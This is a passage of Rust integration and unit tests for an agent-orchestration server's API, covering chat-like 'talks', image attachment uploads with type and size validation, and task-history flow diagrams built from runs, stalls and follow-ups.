13988 let id = f.post("/api/talks", None).await.json()["id"]
13989 .as_str()
13990 .expect("id")
13991 .to_owned();
13992 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13993 assert_eq!(closed.status, 200, "{}", closed.body);
13994 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13995 .expect("serialize closed talk");
13996 for (path, body) in [
13997 (format!("/api/talks/{id}/pending/resume"), None),
13998 (
13999 format!("/api/talks/{id}/pending/clear"),
14000 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14001 ),
14002 (
14003 format!("/api/talks/{id}/pending/edit"),
14004 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14005 ),
14006 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14007 ] {
14008 let response = f.post(&path, body).await;
14009 assert_eq!(response.status, 409, "{}", response.body);
14010 }
14011 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14012 .expect("serialize closed talk");
14013 assert_eq!(
14014 after_clear, before_clear,
14015 "clear must not rewrite a closed talk"
14016 );
14017 }
14018
14019 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14022
14023 #[tokio::test]
14024 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14025 let tmp = TempDir::new().expect("tempdir");
14026 let repo = tmp.path().join("repo");
14027 std::fs::create_dir_all(&repo).expect("repo dir");
14028 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14029 let f = Fixture::with_repo(repo).await;
14030 let id_a = f.post("/api/talks", None).await.json()["id"]
14031 .as_str()
14032 .unwrap()
14033 .to_owned();
14034 let id_b = f.post("/api/talks", None).await.json()["id"]
14035 .as_str()
14036 .unwrap()
14037 .to_owned();
14038
14039 let a = f
14040 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14041 .await;
14042 assert_eq!(a.status, 202, "{}", a.body);
14043 assert_eq!(a.json()["thinking"], true);
14044 let b = f
14045 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14046 .await;
14047 assert_eq!(b.status, 202, "{}", b.body);
14048 assert_eq!(b.json()["thinking"], true);
14049
14050 let listed = f.get("/api/talks").await.json();
14051 for id in [&id_a, &id_b] {
14052 let view = listed
14053 .as_array()
14054 .unwrap()
14055 .iter()
14056 .find(|talk| talk["id"] == *id)
14057 .unwrap();
14058 assert_eq!(view["thinking"], true, "{listed}");
14059 }
14060 let repeated = f
14061 .post(
14062 &format!("/api/talks/{id_a}/say"),
14063 Some(r#"{"text":"again"}"#),
14064 )
14065 .await;
14066 assert_eq!(repeated.status, 202, "{}", repeated.body);
14067 assert_eq!(repeated.json()["pending"], "again");
14068 }
14069
14070 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14073
14074 #[tokio::test]
14075 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14076 let f = Fixture::start().await;
14077 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14078
14079 let res = f
14080 .post_bytes(
14081 &format!("/api/talks/{id}/attachments"),
14082 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14083 PNG_BYTES,
14084 )
14085 .await;
14086 assert_eq!(res.status, 201, "{}", res.body);
14087 let body = res.json();
14088 assert_eq!(body["name"], "shot.png");
14089 assert_eq!(body["mime"], "image/png");
14090 assert_eq!(body["bytes"], PNG_BYTES.len());
14091 let att_id = body["id"].as_str().expect("id").to_owned();
14092 assert_eq!(
14093 att_id.len(),
14094 32,
14095 "the id must never be a client-suppliable path: {att_id}"
14096 );
14097
14098 let got = f
14099 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14100 .await;
14101 assert_eq!(got.status, 200, "{}", got.body);
14102 assert_eq!(got.header("content-type"), Some("image/png"));
14103 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14104 assert_eq!(got.bytes, PNG_BYTES);
14105 }
14106
14107 #[tokio::test]
14108 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14109 let f = Fixture::start().await;
14110 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14111
14112 let svg = f
14115 .post_bytes(
14116 &format!("/api/talks/{id}/attachments"),
14117 &[("Content-Type", "image/svg+xml")],
14118 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14119 )
14120 .await;
14121 assert!(
14122 (400..500).contains(&svg.status),
14123 "svg must be refused: {} {}",
14124 svg.status,
14125 svg.body
14126 );
14127 assert!(svg.body.contains("SVG"), "{}", svg.body);
14128
14129 let text = f
14130 .post_bytes(
14131 &format!("/api/talks/{id}/attachments"),
14132 &[("Content-Type", "text/plain")],
14133 b"just some text",
14134 )
14135 .await;
14136 assert!(
14137 (400..500).contains(&text.status),
14138 "an unlisted type must be refused: {} {}",
14139 text.status,
14140 text.body
14141 );
14142
14143 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
14146 let big = f
14147 .post_bytes(
14148 &format!("/api/talks/{id}/attachments"),
14149 &[("Content-Type", "image/png")],
14150 &oversized,
14151 )
14152 .await;
14153 assert_eq!(
14154 big.status,
14155 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
14156 "{}",
14157 big.body
14158 );
14159 }
14160
14161 #[tokio::test]
14162 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
14163 let f = Fixture::start().await;
14164 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
14165
14166 let res = f
14169 .post_bytes(
14170 &format!("/api/talks/{id}/attachments"),
14171 &[("Content-Type", "image/png")],
14172 b"<html>not a picture</html>",
14173 )
14174 .await;
14175 assert!((400..500).contains(&res.status), "{}", res.body);
14176 }
14177
14178 #[tokio::test]
14179 async fn an_unknown_attachment_id_is_a_404() {
14180 let f = Fixture::start().await;
14181 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
14182
14183 let res = f
14184 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
14185 .await;
14186 assert_eq!(res.status, 404, "{}", res.body);
14187 }
14188
14189 #[tokio::test]
14190 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
14191 let f = Fixture::start().await;
14192 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
14193
14194 let uploaded = f
14195 .post_bytes(
14196 &format!("/api/talks/{id}/attachments"),
14197 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14198 PNG_BYTES,
14199 )
14200 .await;
14201 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14202 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
14203
14204 let res = f
14205 .post(
14206 &format!("/api/talks/{id}/say"),
14207 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
14208 )
14209 .await;
14210 assert_eq!(res.status, 202, "{}", res.body);
14211 let queued = res.json();
14212 let turns = queued["turns"].as_array().expect("turns array");
14213 assert_eq!(
14214 turns.len(),
14215 1,
14216 "an empty body with an attachment is still a turn: {queued}"
14217 );
14218 assert_eq!(turns[0]["who"], "operator");
14219 assert_eq!(turns[0]["body"], "");
14220 let atts = turns[0]["attachments"]
14221 .as_array()
14222 .expect("attachments array");
14223 assert_eq!(atts.len(), 1);
14224 assert_eq!(atts[0]["id"], att_id);
14225 assert_eq!(atts[0]["mime"], "image/png");
14226
14227 let on_disk = f.talks().get(&id).expect("get");
14230 assert_eq!(on_disk.turns[0].attachments.len(), 1);
14231 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
14232 }
14233
14234 #[tokio::test]
14235 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
14236 let f = Fixture::start().await;
14237 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
14238
14239 let res = f
14240 .post(
14241 &format!("/api/talks/{id}/say"),
14242 Some(&format!(
14243 r#"{{"text":"hi","attachments":["{}"]}}"#,
14244 "a".repeat(32)
14245 )),
14246 )
14247 .await;
14248 assert!((400..500).contains(&res.status), "{}", res.body);
14249 assert!(res.body.contains("unknown attachment"), "{}", res.body);
14250
14251 let on_disk = f.talks().get(&id).expect("get");
14252 assert!(
14253 on_disk.turns.is_empty(),
14254 "a rejected attachment id must not partially record the turn: {:?}",
14255 on_disk.turns
14256 );
14257 }
14258
14259 #[tokio::test]
14260 async fn talk_close_makes_the_talk_refuse_further_turns() {
14261 let f = Fixture::start().await;
14262 let id = seed_talk(&f, "20260904-014455-cd34", "open");
14263
14264 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14265 assert_eq!(closed.status, 200, "{}", closed.body);
14266 assert_eq!(closed.json()["status"], "closed");
14267
14268 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
14270 assert_eq!(closed_again.status, 200);
14271 assert_eq!(closed_again.json()["status"], "closed");
14272
14273 let said = f
14274 .post(
14275 &format!("/api/talks/{id}/say"),
14276 Some(r#"{"text":"too late"}"#),
14277 )
14278 .await;
14279 assert_eq!(said.status, 409, "{}", said.body);
14280 }
14281
14282 #[tokio::test]
14283 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
14284 let (_tmp, _repo, f) = talk_fixture().await;
14285 let id = f.post("/api/talks", None).await.json()["id"]
14286 .as_str()
14287 .expect("id")
14288 .to_owned();
14289 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14290 assert_eq!(closed.status, 200, "{}", closed.body);
14291
14292 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
14293 assert_eq!(reopened.status, 200, "{}", reopened.body);
14294 assert_eq!(reopened.json()["status"], "open");
14295
14296 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
14298 assert_eq!(reopened_again.status, 200);
14299 assert_eq!(reopened_again.json()["status"], "open");
14300
14301 let said = f
14302 .post(
14303 &format!("/api/talks/{id}/say"),
14304 Some(r#"{"text":"still there?"}"#),
14305 )
14306 .await;
14307 assert_eq!(
14308 said.status, 202,
14309 "a reopened talk accepts turns again: {}",
14310 said.body
14311 );
14312 }
14313
14314 #[tokio::test]
14315 async fn talk_reopen_on_an_unknown_id_is_404() {
14316 let f = Fixture::start().await;
14317 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
14318 assert_eq!(res.status, 404, "{}", res.body);
14319 }
14320
14321 #[tokio::test]
14322 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
14323 let f = Fixture::start().await;
14324 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
14325
14326 let deleted = f.delete(&format!("/api/talks/{id}")).await;
14327 assert_eq!(deleted.status, 204, "{}", deleted.body);
14328
14329 let after = f.get(&format!("/api/talks/{id}")).await;
14330 assert_eq!(after.status, 404, "{}", after.body);
14331
14332 let listed = f.get("/api/talks").await.json();
14333 assert!(
14334 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
14335 "a deleted talk must not linger in the list: {listed}"
14336 );
14337 }
14338
14339 #[tokio::test]
14340 async fn talk_delete_on_an_unknown_id_is_404() {
14341 let f = Fixture::start().await;
14342 let res = f.delete("/api/talks/nonexistent-id").await;
14343 assert_eq!(res.status, 404, "{}", res.body);
14344 }
14345
14346 #[tokio::test]
14350 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
14351 let f = Fixture::start().await;
14352 let (a, b, gone) = (
14353 "20260902-140501-aaaa",
14354 "20260902-140502-bbbb",
14355 "20260902-140503-cccc",
14356 );
14357 write_run(&f.runs(), a, RunStatus::Stalled);
14358 let mut review = RunState::new(
14359 PathBuf::from("/repo/magi"),
14360 "main".to_owned(),
14361 "0123456789abcdef".to_owned(),
14362 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
14363 .to_owned(),
14364 Config::default(),
14365 );
14366 review.id = b.to_owned();
14367 review.status = RunStatus::Merged;
14368 write_state(&f.runs(), &review);
14369
14370 let mut task = Task::new(
14371 "retry".to_owned(),
14372 "Do the thing".to_owned(),
14373 PathBuf::from("/repo/magi"),
14374 Source::Human,
14375 );
14376 task.start(a.to_owned());
14377 task.stall("quota");
14378 task.start(a.to_owned());
14379 task.start(b.to_owned());
14380 task.start(gone.to_owned());
14381 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
14383 f.queue().put(&mut task).expect("file the task");
14384
14385 let res = f.get(&format!("/api/queue/{}", task.id)).await;
14386 assert_eq!(res.status, 200, "{}", res.body);
14387 let v = res.json();
14388 let h = v["history"].as_array().expect("history");
14389 assert_eq!(h.len(), 4, "{v}");
14390 assert_eq!(h[0]["kind"], "competition");
14391 assert_eq!(h[0]["status"], "stalled");
14392 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
14393 assert_eq!(h[1]["kind"], "resume", "{v}");
14394 assert!(
14395 h[0]["outcome"]
14396 .as_str()
14397 .unwrap()
14398 .contains("unknown. Pass #2"),
14399 "an earlier pass of a resumed run must not claim the final outcome: {v}"
14400 );
14401 assert!(
14402 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
14403 "{v}"
14404 );
14405 assert!(
14406 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
14407 "an unrecorded cause must not be narrated as an operator park: {v}"
14408 );
14409 assert_eq!(h[2]["kind"], "review");
14410 assert!(
14411 h[2]["description"]
14412 .as_str()
14413 .unwrap()
14414 .contains("magi/aaaa/A")
14415 );
14416 assert_eq!(h[2]["status"], "merged");
14417 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
14418 assert_eq!(v["runs_unreadable"], 1);
14419 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
14420 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
14421 assert_eq!(nodes[4]["note"], "unreadable");
14422 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
14423 assert_eq!(v["instruction"], "Do the thing");
14424 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
14425
14426 let run = f.get(&format!("/api/runs/{a}")).await.json();
14428 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
14429
14430 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
14431 }
14432
14433 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
14434 let mut s = RunState::new(
14435 PathBuf::from("/repo/magi"),
14436 "main".to_owned(),
14437 "0123456789abcdef".to_owned(),
14438 "Do it".to_owned(),
14439 Config::default(),
14440 );
14441 s.status = status;
14442 edit(&mut s);
14443 s
14444 }
14445
14446 fn flow_task(runs: &[&str]) -> Task {
14447 let mut t = Task::new(
14448 "t".to_owned(),
14449 "Do it".to_owned(),
14450 PathBuf::from("/repo/magi"),
14451 Source::Human,
14452 );
14453 for r in runs {
14454 t.start((*r).to_owned());
14455 }
14456 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14458 t
14459 }
14460
14461 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
14462 let h = task_history(task, |id| {
14463 states
14464 .iter()
14465 .find(|(i, _)| *i == id)
14466 .and_then(|(_, s)| s.clone())
14467 });
14468 task_flow(task, &h, 5, None)
14469 }
14470
14471 #[test]
14472 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
14473 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
14474 let created = "2026-10-10T01:00:00Z".parse().unwrap();
14475 let first = "2026-10-10T02:00:00Z".parse().unwrap();
14476 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
14477 let held = "2026-10-10T04:00:00Z".parse().unwrap();
14478 let run = flow_run(RunStatus::Implementing, |s| {
14479 s.created_at = created;
14480 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
14481 s.passes[0].started_at = first;
14482 s.passes[1].started_at = resumed;
14483 });
14484 let mut task = flow_task(&[RUN_X, RUN_X]);
14485 task.created_at = queued;
14486 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
14487 task.status = TaskStatus::Held;
14488 task.held_at = Some(held);
14489 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
14490 assert_eq!(
14491 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
14492 vec![Some(queued), Some(first), Some(resumed), Some(held)]
14493 );
14494 assert!(flow.nodes.iter().all(|n| n.time_expected));
14495 let json = serde_json::to_value(&flow).unwrap();
14496 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
14497 assert_eq!(json["nodes"][2]["time_expected"], true);
14498 }
14499
14500 #[test]
14501 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
14502 let created = "2026-10-10T01:00:00Z".parse().unwrap();
14503 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
14504 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
14505 task.held_at = Some(created);
14507 task.blocked_at = Some(created);
14508 for status in [
14509 TaskStatus::Queued,
14510 TaskStatus::Running,
14511 TaskStatus::Blocked,
14512 TaskStatus::Done,
14513 TaskStatus::Failed,
14514 TaskStatus::Parked,
14515 TaskStatus::Held,
14516 ] {
14517 task.status = status;
14518 if status == TaskStatus::Held {
14519 task.held_at = None;
14520 }
14521 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
14522 assert_eq!(flow.nodes[1].started_at, Some(created));
14523 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
14524 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
14525 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
14526 let json = serde_json::to_value(&flow).unwrap();
14527 assert!(json["nodes"][3]["started_at"].is_null());
14528 assert_eq!(json["nodes"][3]["time_expected"], true);
14529 }
14530 }
14531
14532 #[test]
14533 fn flow_context_links_do_not_expect_start_times() {
14534 let mut task = flow_task(&[]);
14535 task.source = Source::Agent {
14536 run: "chat-id".to_owned(),
14537 node: "chat".to_owned(),
14538 };
14539 let origin = followup_origin(&fu(None), |_| None, |_| None);
14540 let flow = task_flow(&task, &[], 5, Some(&origin));
14541 for node in &flow.nodes[..2] {
14542 assert!(!node.time_expected);
14543 assert_eq!(node.started_at, None);
14544 }
14545 assert!(flow.nodes[2].time_expected);
14546 }
14547
14548 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
14549 crate::queue::FollowUp {
14550 run: "20260901-000000-aaaa".to_owned(),
14551 origin_task: origin_task.map(str::to_owned),
14552 pr: "https://example.com/o/r/pull/1".to_owned(),
14553 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
14554 .map(str::to_owned)
14555 .to_vec(),
14556 generation: 1,
14557 }
14558 }
14559
14560 fn parent_task() -> Task {
14561 let mut p = flow_task(&[]);
14562 p.title = "Parent title".to_owned();
14563 p.status = TaskStatus::Done;
14564 p
14565 }
14566
14567 #[test]
14568 fn flow_opens_with_the_parent_task_of_a_followup() {
14569 let p = parent_task();
14570 let pid = p.id.clone();
14571 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
14572 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14573 let n = &f.nodes[0];
14574 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
14575 assert_eq!(
14576 n.label,
14577 format!("Follow-up of {}", crate::queue::short(&pid))
14578 );
14579 assert_eq!(n.detail.as_deref(), Some("Parent title"));
14580 assert_eq!(n.status, Some("done"));
14581 assert_eq!(n.status_of, "task");
14582 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
14583 assert_eq!(f.nodes[1].key, "start");
14584 assert_eq!(f.edges[0].from, "origin");
14585 assert_eq!(
14586 f.edges[0].label,
14587 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
14588 );
14589 }
14590
14591 #[test]
14592 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
14593 let o = followup_origin(
14594 &fu(Some("gone")),
14595 |_| None,
14596 |_| {
14597 Some(RunState::new(
14598 std::path::PathBuf::from("."),
14599 "main".to_owned(),
14600 "0".to_owned(),
14601 "t".to_owned(),
14602 crate::config::Config::default(),
14603 ))
14604 },
14605 );
14606 assert!(o.parent.is_none());
14607 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14608 let n = &f.nodes[0];
14609 assert_eq!(n.status_of, "run");
14610 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
14611 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
14612 }
14613
14614 #[test]
14615 fn flow_followup_with_nothing_readable_has_no_link() {
14616 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
14617 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
14618 let n = &f.nodes[0];
14619 assert_eq!(n.href, None);
14620 assert_eq!(n.note, Some("unreadable"));
14621 assert!(!n.readable);
14622 }
14623
14624 #[test]
14625 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
14626 let o = followup_origin(&fu(None), |_| None, |_| None);
14627 let mut t = flow_task(&[]);
14628 t.origin_chat = Some("c1".to_owned());
14629 let f = task_flow(&t, &[], 5, Some(&o));
14630 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
14631 t.source = Source::Agent {
14632 run: "c1".to_owned(),
14633 node: crate::queue::CHAT_NODE.to_owned(),
14634 };
14635 let f = task_flow(&t, &[], 5, Some(&o));
14636 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
14637 assert_eq!(
14638 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
14639 ("chat", "origin")
14640 );
14641 }
14642
14643 #[test]
14644 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
14645 let mut p = parent_task();
14646 p.id = "a b/c".to_owned();
14647 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
14648 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
14649 }
14650
14651 #[test]
14652 fn flow_opens_with_the_chat_that_queued_the_task() {
14653 let mut t = flow_task(&[]);
14654 t.source = Source::Agent {
14655 run: "a b/c".to_owned(),
14656 node: crate::queue::CHAT_NODE.to_owned(),
14657 };
14658 let f = flow_for(&t, &[]);
14659 assert_eq!(f.nodes[0].key, "chat");
14660 assert_eq!(f.nodes[0].kind, "chat");
14661 assert_eq!(
14662 f.nodes[0].label,
14663 format!("Chat {}", crate::queue::short("a b/c"))
14664 );
14665 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
14666 assert_eq!(f.nodes[1].key, "start");
14667 assert_eq!(
14668 f.edges[0],
14669 FlowEdge {
14670 from: "chat".to_owned(),
14671 to: "start".to_owned(),
14672 label: "queued from chat".to_owned(),
14673 attempt: AttemptCost::None,
14674 }
14675 );
14676 }
14677
14678 #[test]
14679 fn flow_has_no_chat_box_for_other_sources() {
14680 for source in [
14681 Source::Human,
14682 Source::Issue {
14683 number: 3,
14684 repo: "o/r".to_owned(),
14685 },
14686 Source::Agent {
14687 run: "20260904-014455-ab12".to_owned(),
14688 node: "implement".to_owned(),
14689 },
14690 ] {
14691 let mut t = flow_task(&[]);
14692 t.source = source;
14693 let f = flow_for(&t, &[]);
14694 assert_eq!(f.nodes[0].key, "start");
14695 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
14696 assert!(f.edges.iter().all(|e| e.from != "chat"));
14697 }
14698 }
14699
14700 const FA: &str = "20260902-140501-aaaa";
14701 const FB: &str = "20260902-140502-bbbb";
14702
14703 #[test]
14704 fn flow_follows_blocked_retry_merged_to_done() {
14705 let mut t = flow_task(&[FA, FB]);
14706 t.status = TaskStatus::Done;
14707 let f = flow_for(
14708 &t,
14709 &[
14710 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
14711 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
14712 ],
14713 );
14714 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
14715 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
14716 assert_eq!(f.edges.len(), 3);
14717 assert_eq!(f.edges[0].label, "claimed");
14718 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
14719 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14720 assert_eq!(f.edges[2].label, "merged \u{2192} done");
14721 assert_eq!(
14722 f.nodes[2].href.as_deref(),
14723 Some("#/runs/20260902-140502-bbbb")
14724 );
14725 assert!(f.nodes[2].decided);
14726 }
14727
14728 #[test]
14729 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
14730 let quota = || {
14731 flow_run(RunStatus::Stalled, |s| {
14732 s.quota.push(crate::run::QuotaLoss {
14733 seat: "judge-1".to_owned(),
14734 node: "judge".to_owned(),
14735 at: Timestamp::now(),
14736 reset: None,
14737 })
14738 })
14739 };
14740 let mut t = flow_task(&[FA, FA]);
14741 t.status = TaskStatus::Queued;
14742 let f = flow_for(&t, &[(FA, Some(quota()))]);
14743 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
14744 assert_eq!(f.nodes[1].note, Some("interrupted"));
14745 assert_eq!(
14746 f.nodes[1].status, None,
14747 "no outcome copied onto an earlier pass"
14748 );
14749 assert_eq!(
14750 f.edges[1].attempt,
14751 AttemptCost::Unknown,
14752 "a resume does not prove the earlier pass was refunded"
14753 );
14754 assert!(f.edges[1].label.contains("resume the same run"));
14755 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
14756 assert_eq!(
14757 f.edges[2].label,
14758 "stalled after a resume, refund unknown \u{2192} queued"
14759 );
14760 assert!(!f.nodes[2].decided, "a stall is not a decision");
14761 assert_eq!(f.nodes[2].note, Some("no verdict"));
14762 }
14763
14764 #[test]
14765 fn flow_single_pass_quota_stall_is_refunded() {
14766 let t = flow_task(&[FA]);
14767 let f = flow_for(
14768 &t,
14769 &[(
14770 FA,
14771 Some(flow_run(RunStatus::Stalled, |s| {
14772 s.quota.push(crate::run::QuotaLoss {
14773 seat: "judge-1".to_owned(),
14774 node: "judge".to_owned(),
14775 at: Timestamp::now(),
14776 reset: None,
14777 })
14778 })),
14779 )],
14780 );
14781 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14782 }
14783
14784 #[test]
14785 fn flow_parked_refunds_and_stall_without_quota_spends() {
14786 let mut t = flow_task(&[FA]);
14787 t.status = TaskStatus::Queued;
14788 let f = flow_for(
14789 &t,
14790 &[(
14791 FA,
14792 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
14793 )],
14794 );
14795 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
14796 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14797 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
14798 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14799 assert!(!f.nodes[1].decided);
14800 }
14801
14802 #[test]
14803 fn flow_keeps_an_unreadable_run_as_its_own_node() {
14804 let t = flow_task(&[FA, FB]);
14805 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
14806 assert_eq!(f.nodes[1].note, Some("unreadable"));
14807 assert!(!f.nodes[1].readable);
14808 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
14809 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
14810 }
14811
14812 #[test]
14813 fn flow_names_the_branch_of_a_review_only_run() {
14814 let t = flow_task(&[FA]);
14815 let f = flow_for(
14816 &t,
14817 &[(
14818 FA,
14819 Some(flow_run(RunStatus::Merged, |s| {
14820 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
14821 })),
14822 )],
14823 );
14824 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
14825 assert_eq!(
14826 f.nodes[1].detail.as_deref(),
14827 Some("review-only run of branch magi/x/A")
14828 );
14829 }
14830
14831 #[test]
14832 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
14833 let mut t = flow_task(&[FA]);
14834 t.status = TaskStatus::Held;
14835 let pr = crate::run::PrRecord {
14836 url: "https://example.test/pr/1".to_owned(),
14837 number: 1,
14838 state: "open".to_owned(),
14839 checks: "green".to_owned(),
14840 round: 0,
14841 rounds: 3,
14842 red_at_merge: Vec::new(),
14843 };
14844 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
14845 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
14846 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
14847 t.status = TaskStatus::Done;
14848 let f = flow_for(&t, &[(FA, Some(blocked))]);
14849 assert_eq!(f.edges[1].label, "closed by hand: task is done");
14850 }
14851
14852 #[test]
14853 fn flow_with_no_runs_goes_from_queued_to_queued() {
14854 let t = flow_task(&[]);
14855 let f = flow_for(&t, &[]);
14856 assert_eq!(f.nodes.len(), 2);
14857 assert_eq!(f.edges.len(), 1);
14858 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
14859 assert_eq!(f.edges[0].attempt, AttemptCost::None);
14860 }
14861
14862 #[test]
14865 fn a_parked_non_terminal_run_is_explained_as_parked() {
14866 let mut s = RunState::new(
14867 PathBuf::from("/repo/magi"),
14868 "main".to_owned(),
14869 "0123456789abcdef".to_owned(),
14870 "Do it".to_owned(),
14871 Config::default(),
14872 );
14873 s.status = RunStatus::Implementing;
14874 s.parked = true;
14875 let task = Task::new(
14876 "t".to_owned(),
14877 "Do it".to_owned(),
14878 PathBuf::from("/repo/magi"),
14879 Source::Human,
14880 );
14881 let v = task_run_view(
14882 "20260902-140501-aaaa",
14883 Some(&s),
